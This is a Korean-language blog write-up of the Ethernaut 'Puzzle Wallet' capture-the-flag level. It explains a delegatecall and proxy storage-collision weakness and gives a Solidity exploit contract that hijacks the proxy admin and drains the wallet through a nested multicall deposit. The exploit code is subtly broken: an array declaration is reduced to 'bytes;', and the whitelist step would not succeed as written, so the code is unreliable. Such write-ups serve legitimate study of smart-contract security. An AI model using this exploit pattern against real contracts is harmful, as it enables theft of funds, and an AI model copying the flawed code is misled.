The Ethernaut - 24. Puzzle Wallet

Gunter·2024년 11월 1일
0

The Ethernaut

목록 보기
25/26

Nowadays, paying for DeFi operations is impossible, fact.

A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.

They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.

Little did they know, their lunch money was at risk…

You'll need to hijack this wallet to become the admin of the proxy.

Things that might help:
Understanding how delegatecall works and how msg.sender and msg.value behaves when performing one.
Knowing about proxy patterns and the way they handle storage variables.

 


 

참고함 : https://blog.dixitaditya.com/ethernaut-level-24-puzzle-wallet?source=more_series_bottom_blogs

노려야 할 곳은 delegatecall
컨트랙트는 delegatecall을 사용하여 Proxy 컨트랙트의 상태를 PuzzleWallet 컨트랙트의 함수로 변경할 수 있음.

목표

  • Proxy 컨트랙트의 소유권을 자신에게 전송하기
  • Wallet 컨트랙트의 이더리움을 모두 인출하기

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../instances/Ilevel24.sol";

contract PuzzleEx {
    PuzzleProxy proxy;
    PuzzleWallet wallet;

    constructor(address payable proxyAddress) public {
        proxy = PuzzleProxy(proxyAddress);
        wallet = PuzzleWallet(proxyAddress); 
    }

    function exploit() external payable {
        proxy.proposeNewAdmin(msg.sender);

        wallet.addToWhitelist(msg.sender);

        require(msg.value >= 0.001 ether, "Insufficient Ether sent");

        bytes;
        data[0] = abi.encodeWithSelector(wallet.deposit.selector);
        data[1] = abi.encodeWithSelector(wallet.multicall.selector, abi.encodeWithSelector(wallet.deposit.selector));

        wallet.multicall{value: msg.value}(data);

        wallet.execute(msg.sender, address(wallet).balance, "");

        proxy.setMaxBalance(uint256(msg.sender));
    }
}

0개의 댓글